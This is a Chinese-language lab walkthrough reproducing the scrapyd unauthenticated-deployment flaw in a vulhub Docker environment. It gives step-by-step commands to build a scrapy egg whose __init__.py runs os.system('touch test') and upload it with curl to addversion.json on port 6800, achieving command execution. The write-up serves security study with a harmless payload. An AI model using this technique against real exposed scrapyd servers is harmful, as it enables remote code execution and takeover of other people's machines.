漏洞介绍:
scrapyd是爬虫框架scrapy提供的云服务,用户可以部署自己的scrapy包到云服务,默认监听在6800端口。如果攻击者能访问该端口,将可以部署恶意代码到服务器,进而获取服务器权限。
参考:https://www.leavesongs.com/PENETRATION/attack-scrapy.html
环境搭建:
本次实验攻击机器kali(192.168.111.130),受害机器docker
1.拉取docker
cd /home/kali/桌面/vulhub/scrapy/scrapyd-unacc
sudo docker-compose up -d
2.查看端口映射信息
sudo docker ps
3.在浏览器中输入http://192.168.111.130:6800/
漏洞复现:
1.输入下面命令安装对应库
pip install scrapy scrapyd-client
2.创建一个scrapyd项目
scrapy startproject sss
输入完成之后在当前路径下就会产生一个名字为sss文件
3. 在__init__.py中加入恶意代码
第一次找__init__.py感觉很懵,不知道在哪,结果问了问小伙伴,才知道该文件在sss/sss/目录下
输入:
sudo vi __init__.py
然后往文件里面写入恶意命令:
import os
os.system('touch test')
4.之后在返回到sss/目录下对scrapyd-client文件进行编辑
5.输入
pip install scrapyd-client
紧接着对项目进行打包
scrapyd-deploy --build-egg=sss.egg
6.最后输入
curl http://192.168.111.130:6800/addversion.json -F project=haha -F version=r01 -F egg=@sss.egg
7.结果可以看出touch test 被执行